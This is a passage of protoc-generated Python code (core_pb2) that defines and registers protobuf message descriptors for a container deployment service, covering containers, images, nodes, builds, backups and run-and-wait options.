options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='quota', full_name='pb.CreateContainerMessage.quota', index=7,
number=8, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='memory', full_name='pb.CreateContainerMessage.memory', index=8,
number=9, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='publish', full_name='pb.CreateContainerMessage.publish', index=9,
number=10, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='hook', full_name='pb.CreateContainerMessage.hook', index=10,
number=11, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_CREATECONTAINERMESSAGE_CPUENTRY, _CREATECONTAINERMESSAGE_PUBLISHENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3819,
serialized_end=4181,
)
_RUNANDWAITMESSAGE = _descriptor.Descriptor(
name='RunAndWaitMessage',
full_name='pb.RunAndWaitMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='container_id', full_name='pb.RunAndWaitMessage.container_id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='data', full_name='pb.RunAndWaitMessage.data', index=1,
number=2, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4183,
serialized_end=4238,
)
_REMOVEIMAGEMESSAGE = _descriptor.Descriptor(
name='RemoveImageMessage',
full_name='pb.RemoveImageMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='image', full_name='pb.RemoveImageMessage.image', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='success', full_name='pb.RemoveImageMessage.success', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='messages', full_name='pb.RemoveImageMessage.messages', index=2,
number=3, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4240,
serialized_end=4310,
)
_REMOVECONTAINERMESSAGE = _descriptor.Descriptor(
name='RemoveContainerMessage',
full_name='pb.RemoveContainerMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.RemoveContainerMessage.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='success', full_name='pb.RemoveContainerMessage.success', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='message', full_name='pb.RemoveContainerMessage.message', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4312,
serialized_end=4382,
)
_REALLOCRESOURCEMESSAGE = _descriptor.Descriptor(
name='ReallocResourceMessage',
full_name='pb.ReallocResourceMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.ReallocResourceMessage.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='success', full_name='pb.ReallocResourceMessage.success', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4384,
serialized_end=4437,
)
_BACKUPMESSAGE = _descriptor.Descriptor(
name='BackupMessage',
full_name='pb.BackupMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='status', full_name='pb.BackupMessage.status', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='size', full_name='pb.BackupMessage.size', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error', full_name='pb.BackupMessage.error', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='path', full_name='pb.BackupMessage.path', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4439,
serialized_end=4513,
)
_RUNANDWAITOPTIONS = _descriptor.Descriptor(
name='RunAndWaitOptions',
full_name='pb.RunAndWaitOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='DeployOptions', full_name='pb.RunAndWaitOptions.DeployOptions', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Cmd', full_name='pb.RunAndWaitOptions.Cmd', index=1,
number=2, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4515,
serialized_end=4589,
)
_PODS.fields_by_name['pods'].message_type = _POD
_NETWORKS.fields_by_name['networks'].message_type = _NETWORK
_NODE_CPUENTRY.containing_type = _NODE
_NODE_LABELSENTRY.containing_type = _NODE
_NODE.fields_by_name['cpu'].message_type = _NODE_CPUENTRY
_NODE.fields_by_name['labels'].message_type = _NODE_LABELSENTRY
_NODES.fields_by_name['nodes'].message_type = _NODE
_CONTAINERS.fields_by_name['containers'].message_type = _CONTAINER
_ADDNODEOPTIONS_LABELSENTRY.containing_type = _ADDNODEOPTIONS
_ADDNODEOPTIONS.fields_by_name['labels'].message_type = _ADDNODEOPTIONS_LABELSENTRY
_BUILD_ENVSENTRY.containing_type = _BUILD
_BUILD_ARGSENTRY.containing_type = _BUILD
_BUILD_LABELSENTRY.containing_type = _BUILD
_BUILD_ARTIFACTSENTRY.containing_type = _BUILD
_BUILD_CACHEENTRY.containing_type = _BUILD
_BUILD.fields_by_name['envs'].message_type = _BUILD_ENVSENTRY
_BUILD.fields_by_name['args'].message_type = _BUILD_ARGSENTRY
_BUILD.fields_by_name['labels'].message_type = _BUILD_LABELSENTRY
_BUILD.fields_by_name['artifacts'].message_type = _BUILD_ARTIFACTSENTRY
_BUILD.fields_by_name['cache'].message_type = _BUILD_CACHEENTRY
_BUILDS_BUILDSENTRY.fields_by_name['value'].message_type = _BUILD
_BUILDS_BUILDSENTRY.containing_type = _BUILDS
_BUILDS.fields_by_name['builds'].message_type = _BUILDS_BUILDSENTRY
_BUILDIMAGEOPTIONS.fields_by_name['builds'].message_type = _BUILDS
_ENTRYPOINTOPTIONS.fields_by_name['healthcheck'].message_type = _HEALTHCHECKOPTIONS
_ENTRYPOINTOPTIONS.fields_by_name['hook'].message_type = _HOOKOPTIONS
_DEPLOYOPTIONS_NETWORKSENTRY.containing_type = _DEPLOYOPTIONS
_DEPLOYOPTIONS_METAENTRY.containing_type = _DEPLOYOPTIONS
_DEPLOYOPTIONS_NODELABELSENTRY.containing_type = _DEPLOYOPTIONS
_DEPLOYOPTIONS.fields_by_name['entrypoint'].message_type = _ENTRYPOINTOPTIONS
_DEPLOYOPTIONS.fields_by_name['networks'].message_type = _DEPLOYOPTIONS_NETWORKSENTRY
_DEPLOYOPTIONS.fields_by_name['meta'].message_type = _DEPLOYOPTIONS_METAENTRY
_DEPLOYOPTIONS.fields_by_name['nodelabels'].message_type = _DEPLOYOPTIONS_NODELABELSENTRY
_BUILDIMAGEMESSAGE.fields_by_name['error_detail'].message_type = _ERRORDETAIL
_CREATECONTAINERMESSAGE_CPUENTRY.containing_type = _CREATECONTAINERMESSAGE
_CREATECONTAINERMESSAGE_PUBLISHENTRY.containing_type = _CREATECONTAINERMESSAGE
_CREATECONTAINERMESSAGE.fields_by_name['cpu'].message_type = _CREATECONTAINERMESSAGE_CPUENTRY
_CREATECONTAINERMESSAGE.fields_by_name['publish'].message_type = _CREATECONTAINERMESSAGE_PUBLISHENTRY
_RUNANDWAITOPTIONS.fields_by_name['DeployOptions'].message_type = _DEPLOYOPTIONS
DESCRIPTOR.message_types_by_name['Empty'] = _EMPTY
DESCRIPTOR.message_types_by_name['DeployStatusOptions'] = _DEPLOYSTATUSOPTIONS
DESCRIPTOR.message_types_by_name['DeployStatusMessage'] = _DEPLOYSTATUSMESSAGE
DESCRIPTOR.message_types_by_name['Pod'] = _POD
DESCRIPTOR.message_types_by_name['Pods'] = _PODS
DESCRIPTOR.message_types_by_name['ListNetworkOptions'] = _LISTNETWORKOPTIONS
DESCRIPTOR.message_types_by_name['Network'] = _NETWORK
DESCRIPTOR.message_types_by_name['Networks'] = _NETWORKS
DESCRIPTOR.message_types_by_name['Node'] = _NODE
DESCRIPTOR.message_types_by_name['Nodes'] = _NODES
DESCRIPTOR.message_types_by_name['NodeAvailable'] = _NODEAVAILABLE
DESCRIPTOR.message_types_by_name['Container'] = _CONTAINER
DESCRIPTOR.message_types_by_name['ContainerDeployedOptions'] = _CONTAINERDEPLOYEDOPTIONS
DESCRIPTOR.message_types_by_name['Containers'] = _CONTAINERS
DESCRIPTOR.message_types_by_name['ContainerID'] = _CONTAINERID
DESCRIPTOR.message_types_by_name['ContainerIDs'] = _CONTAINERIDS
DESCRIPTOR.message_types_by_name['RemoveContainerOptions'] = _REMOVECONTAINEROPTIONS
DESCRIPTOR.message_types_by_name['ReallocOptions'] = _REALLOCOPTIONS
DESCRIPTOR.message_types_by_name['AddPodOptions'] = _ADDPODOPTIONS
DESCRIPTOR.message_types_by_name['RemovePodOptions'] = _REMOVEPODOPTIONS
DESCRIPTOR.message_types_by_name['GetPodOptions'] = _GETPODOPTIONS
DESCRIPTOR.message_types_by_name['AddNodeOptions'] = _ADDNODEOPTIONS
DESCRIPTOR.message_types_by_name['RemoveNodeOptions'] = _REMOVENODEOPTIONS
DESCRIPTOR.message_types_by_name['GetNodeOptions'] = _GETNODEOPTIONS
DESCRIPTOR.message_types_by_name['ListNodesOptions'] = _LISTNODESOPTIONS
DESCRIPTOR.message_types_by_name['Build'] = _BUILD
DESCRIPTOR.message_types_by_name['Builds'] = _BUILDS
DESCRIPTOR.message_types_by_name['BuildImageOptions'] = _BUILDIMAGEOPTIONS
DESCRIPTOR.message_types_by_name['HookOptions'] = _HOOKOPTIONS
DESCRIPTOR.message_types_by_name['HealthCheckOptions'] = _HEALTHCHECKOPTIONS
DESCRIPTOR.message_types_by_name['EntrypointOptions'] = _ENTRYPOINTOPTIONS
DESCRIPTOR.message_types_by_name['DeployOptions'] = _DEPLOYOPTIONS
DESCRIPTOR.message_types_by_name['RemoveImageOptions'] = _REMOVEIMAGEOPTIONS
DESCRIPTOR.message_types_by_name['BackupOptions'] = _BACKUPOPTIONS
DESCRIPTOR.message_types_by_name['ErrorDetail'] = _ERRORDETAIL
DESCRIPTOR.message_types_by_name['BuildImageMessage'] = _BUILDIMAGEMESSAGE
DESCRIPTOR.message_types_by_name['CreateContainerMessage'] = _CREATECONTAINERMESSAGE
DESCRIPTOR.message_types_by_name['RunAndWaitMessage'] = _RUNANDWAITMESSAGE
DESCRIPTOR.message_types_by_name['RemoveImageMessage'] = _REMOVEIMAGEMESSAGE
DESCRIPTOR.message_types_by_name['RemoveContainerMessage'] = _REMOVECONTAINERMESSAGE
DESCRIPTOR.message_types_by_name['ReallocResourceMessage'] = _REALLOCRESOURCEMESSAGE
DESCRIPTOR.message_types_by_name['BackupMessage'] = _BACKUPMESSAGE
DESCRIPTOR.message_types_by_name['RunAndWaitOptions'] = _RUNANDWAITOPTIONS
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Empty = _reflection.GeneratedProtocolMessageType('Empty', (_message.Message,), dict(
DESCRIPTOR = _EMPTY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Empty)
))
_sym_db.RegisterMessage(Empty)
DeployStatusOptions = _reflection.GeneratedProtocolMessageType('DeployStatusOptions', (_message.Message,), dict(
DESCRIPTOR = _DEPLOYSTATUSOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployStatusOptions)
))
_sym_db.RegisterMessage(DeployStatusOptions)
DeployStatusMessage = _reflection.GeneratedProtocolMessageType('DeployStatusMessage', (_message.Message,), dict(
DESCRIPTOR = _DEPLOYSTATUSMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployStatusMessage)
))
_sym_db.RegisterMessage(DeployStatusMessage)
Pod = _reflection.GeneratedProtocolMessageType('Pod', (_message.Message,), dict(
DESCRIPTOR = _POD,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Pod)
))
_sym_db.RegisterMessage(Pod)
Pods = _reflection.GeneratedProtocolMessageType('Pods', (_message.Message,), dict(
DESCRIPTOR = _PODS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Pods)
))
_sym_db.RegisterMessage(Pods)
ListNetworkOptions = _reflection.GeneratedProtocolMessageType('ListNetworkOptions', (_message.Message,), dict(
DESCRIPTOR = _LISTNETWORKOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ListNetworkOptions)
))
_sym_db.RegisterMessage(ListNetworkOptions)
Network = _reflection.GeneratedProtocolMessageType('Network', (_message.Message,), dict(
DESCRIPTOR = _NETWORK,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Network)
))
_sym_db.RegisterMessage(Network)
Networks = _reflection.GeneratedProtocolMessageType('Networks', (_message.Message,), dict(
DESCRIPTOR = _NETWORKS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Networks)
))
_sym_db.RegisterMessage(Networks)
Node = _reflection.GeneratedProtocolMessageType('Node', (_message.Message,), dict(
CpuEntry = _reflection.GeneratedProtocolMessageType('CpuEntry', (_message.Message,), dict(
DESCRIPTOR = _NODE_CPUENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Node.CpuEntry)
))
,
LabelsEntry = _reflection.GeneratedProtocolMessageType('LabelsEntry', (_message.Message,), dict(
DESCRIPTOR = _NODE_LABELSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Node.LabelsEntry)
))
,
DESCRIPTOR = _NODE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Node)
))
_sym_db.RegisterMessage(Node)
_sym_db.RegisterMessage(Node.CpuEntry)
_sym_db.RegisterMessage(Node.LabelsEntry)
Nodes = _reflection.GeneratedProtocolMessageType('Nodes', (_message.Message,), dict(
DESCRIPTOR = _NODES,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Nodes)
))
_sym_db.RegisterMessage(Nodes)
NodeAvailable = _reflection.GeneratedProtocolMessageType('NodeAvailable', (_message.Message,), dict(
DESCRIPTOR = _NODEAVAILABLE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.NodeAvailable)
))
_sym_db.RegisterMessage(NodeAvailable)
Container = _reflection.GeneratedProtocolMessageType('Container', (_message.Message,), dict(
DESCRIPTOR = _CONTAINER,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Container)
))
_sym_db.RegisterMessage(Container)
ContainerDeployedOptions = _reflection.GeneratedProtocolMessageType('ContainerDeployedOptions', (_message.Message,), dict(
DESCRIPTOR = _CONTAINERDEPLOYEDOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ContainerDeployedOptions)
))
_sym_db.RegisterMessage(ContainerDeployedOptions)
Containers = _reflection.GeneratedProtocolMessageType('Containers', (_message.Message,), dict(
DESCRIPTOR = _CONTAINERS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Containers)
))
_sym_db.RegisterMessage(Containers)
ContainerID = _reflection.GeneratedProtocolMessageType('ContainerID', (_message.Message,), dict(
DESCRIPTOR = _CONTAINERID,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ContainerID)
))
_sym_db.RegisterMessage(ContainerID)
ContainerIDs = _reflection.GeneratedProtocolMessageType('ContainerIDs', (_message.Message,), dict(
DESCRIPTOR = _CONTAINERIDS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ContainerIDs)
))
_sym_db.RegisterMessage(ContainerIDs)
RemoveContainerOptions = _reflection.GeneratedProtocolMessageType('RemoveContainerOptions', (_message.Message,), dict(
DESCRIPTOR = _REMOVECONTAINEROPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemoveContainerOptions)
))
_sym_db.RegisterMessage(RemoveContainerOptions)
ReallocOptions = _reflection.GeneratedProtocolMessageType('ReallocOptions', (_message.Message,), dict(
DESCRIPTOR = _REALLOCOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ReallocOptions)
))
_sym_db.RegisterMessage(ReallocOptions)
AddPodOptions = _reflection.GeneratedProtocolMessageType('AddPodOptions', (_message.Message,), dict(
DESCRIPTOR = _ADDPODOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.AddPodOptions)
))
_sym_db.RegisterMessage(AddPodOptions)
RemovePodOptions = _reflection.GeneratedProtocolMessageType('RemovePodOptions', (_message.Message,), dict(
DESCRIPTOR = _REMOVEPODOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemovePodOptions)
))
_sym_db.RegisterMessage(RemovePodOptions)
GetPodOptions = _reflection.GeneratedProtocolMessageType('GetPodOptions', (_message.Message,), dict(
DESCRIPTOR = _GETPODOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.GetPodOptions)
))
_sym_db.RegisterMessage(GetPodOptions)
AddNodeOptions = _reflection.GeneratedProtocolMessageType('AddNodeOptions', (_message.Message,), dict(
LabelsEntry = _reflection.GeneratedProtocolMessageType('LabelsEntry', (_message.Message,), dict(
DESCRIPTOR = _ADDNODEOPTIONS_LABELSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.AddNodeOptions.LabelsEntry)
))
,
DESCRIPTOR = _ADDNODEOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.AddNodeOptions)
))
_sym_db.RegisterMessage(AddNodeOptions)
_sym_db.RegisterMessage(AddNodeOptions.LabelsEntry)
RemoveNodeOptions = _reflection.GeneratedProtocolMessageType('RemoveNodeOptions', (_message.Message,), dict(
DESCRIPTOR = _REMOVENODEOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemoveNodeOptions)
))
_sym_db.RegisterMessage(RemoveNodeOptions)
GetNodeOptions = _reflection.GeneratedProtocolMessageType('GetNodeOptions', (_message.Message,), dict(
DESCRIPTOR = _GETNODEOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.GetNodeOptions)
))
_sym_db.RegisterMessage(GetNodeOptions)
ListNodesOptions = _reflection.GeneratedProtocolMessageType('ListNodesOptions', (_message.Message,), dict(
DESCRIPTOR = _LISTNODESOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ListNodesOptions)
))
_sym_db.RegisterMessage(ListNodesOptions)
Build = _reflection.GeneratedProtocolMessageType('Build', (_message.Message,), dict(
EnvsEntry = _reflection.GeneratedProtocolMessageType('EnvsEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILD_ENVSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build.EnvsEntry)
))
,
ArgsEntry = _reflection.GeneratedProtocolMessageType('ArgsEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILD_ARGSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build.ArgsEntry)
))
,
LabelsEntry = _reflection.GeneratedProtocolMessageType('LabelsEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILD_LABELSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build.LabelsEntry)
))
,
ArtifactsEntry = _reflection.GeneratedProtocolMessageType('ArtifactsEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILD_ARTIFACTSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build.ArtifactsEntry)
))
,
CacheEntry = _reflection.GeneratedProtocolMessageType('CacheEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILD_CACHEENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build.CacheEntry)
))
,
DESCRIPTOR = _BUILD,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Build)
))
_sym_db.RegisterMessage(Build)
_sym_db.RegisterMessage(Build.EnvsEntry)
_sym_db.RegisterMessage(Build.ArgsEntry)
_sym_db.RegisterMessage(Build.LabelsEntry)
_sym_db.RegisterMessage(Build.ArtifactsEntry)
_sym_db.RegisterMessage(Build.CacheEntry)
Builds = _reflection.GeneratedProtocolMessageType('Builds', (_message.Message,), dict(
BuildsEntry = _reflection.GeneratedProtocolMessageType('BuildsEntry', (_message.Message,), dict(
DESCRIPTOR = _BUILDS_BUILDSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Builds.BuildsEntry)
))
,
DESCRIPTOR = _BUILDS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.Builds)
))
_sym_db.RegisterMessage(Builds)
_sym_db.RegisterMessage(Builds.BuildsEntry)
BuildImageOptions = _reflection.GeneratedProtocolMessageType('BuildImageOptions', (_message.Message,), dict(
DESCRIPTOR = _BUILDIMAGEOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.BuildImageOptions)
))
_sym_db.RegisterMessage(BuildImageOptions)
HookOptions = _reflection.GeneratedProtocolMessageType('HookOptions', (_message.Message,), dict(
DESCRIPTOR = _HOOKOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.HookOptions)
))
_sym_db.RegisterMessage(HookOptions)
HealthCheckOptions = _reflection.GeneratedProtocolMessageType('HealthCheckOptions', (_message.Message,), dict(
DESCRIPTOR = _HEALTHCHECKOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.HealthCheckOptions)
))
_sym_db.RegisterMessage(HealthCheckOptions)
EntrypointOptions = _reflection.GeneratedProtocolMessageType('EntrypointOptions', (_message.Message,), dict(
DESCRIPTOR = _ENTRYPOINTOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.EntrypointOptions)
))
_sym_db.RegisterMessage(EntrypointOptions)
DeployOptions = _reflection.GeneratedProtocolMessageType('DeployOptions', (_message.Message,), dict(
NetworksEntry = _reflection.GeneratedProtocolMessageType('NetworksEntry', (_message.Message,), dict(
DESCRIPTOR = _DEPLOYOPTIONS_NETWORKSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployOptions.NetworksEntry)
))
,
MetaEntry = _reflection.GeneratedProtocolMessageType('MetaEntry', (_message.Message,), dict(
DESCRIPTOR = _DEPLOYOPTIONS_METAENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployOptions.MetaEntry)
))
,
NodelabelsEntry = _reflection.GeneratedProtocolMessageType('NodelabelsEntry', (_message.Message,), dict(
DESCRIPTOR = _DEPLOYOPTIONS_NODELABELSENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployOptions.NodelabelsEntry)
))
,
DESCRIPTOR = _DEPLOYOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.DeployOptions)
))
_sym_db.RegisterMessage(DeployOptions)
_sym_db.RegisterMessage(DeployOptions.NetworksEntry)
_sym_db.RegisterMessage(DeployOptions.MetaEntry)
_sym_db.RegisterMessage(DeployOptions.NodelabelsEntry)
RemoveImageOptions = _reflection.GeneratedProtocolMessageType('RemoveImageOptions', (_message.Message,), dict(
DESCRIPTOR = _REMOVEIMAGEOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemoveImageOptions)
))
_sym_db.RegisterMessage(RemoveImageOptions)
BackupOptions = _reflection.GeneratedProtocolMessageType('BackupOptions', (_message.Message,), dict(
DESCRIPTOR = _BACKUPOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.BackupOptions)
))
_sym_db.RegisterMessage(BackupOptions)
ErrorDetail = _reflection.GeneratedProtocolMessageType('ErrorDetail', (_message.Message,), dict(
DESCRIPTOR = _ERRORDETAIL,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ErrorDetail)
))
_sym_db.RegisterMessage(ErrorDetail)
BuildImageMessage = _reflection.GeneratedProtocolMessageType('BuildImageMessage', (_message.Message,), dict(
DESCRIPTOR = _BUILDIMAGEMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.BuildImageMessage)
))
_sym_db.RegisterMessage(BuildImageMessage)
CreateContainerMessage = _reflection.GeneratedProtocolMessageType('CreateContainerMessage', (_message.Message,), dict(
CpuEntry = _reflection.GeneratedProtocolMessageType('CpuEntry', (_message.Message,), dict(
DESCRIPTOR = _CREATECONTAINERMESSAGE_CPUENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.CreateContainerMessage.CpuEntry)
))
,
PublishEntry = _reflection.GeneratedProtocolMessageType('PublishEntry', (_message.Message,), dict(
DESCRIPTOR = _CREATECONTAINERMESSAGE_PUBLISHENTRY,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.CreateContainerMessage.PublishEntry)
))
,
DESCRIPTOR = _CREATECONTAINERMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.CreateContainerMessage)
))
_sym_db.RegisterMessage(CreateContainerMessage)
_sym_db.RegisterMessage(CreateContainerMessage.CpuEntry)
_sym_db.RegisterMessage(CreateContainerMessage.PublishEntry)
RunAndWaitMessage = _reflection.GeneratedProtocolMessageType('RunAndWaitMessage', (_message.Message,), dict(
DESCRIPTOR = _RUNANDWAITMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RunAndWaitMessage)
))
_sym_db.RegisterMessage(RunAndWaitMessage)
RemoveImageMessage = _reflection.GeneratedProtocolMessageType('RemoveImageMessage', (_message.Message,), dict(
DESCRIPTOR = _REMOVEIMAGEMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemoveImageMessage)
))
_sym_db.RegisterMessage(RemoveImageMessage)
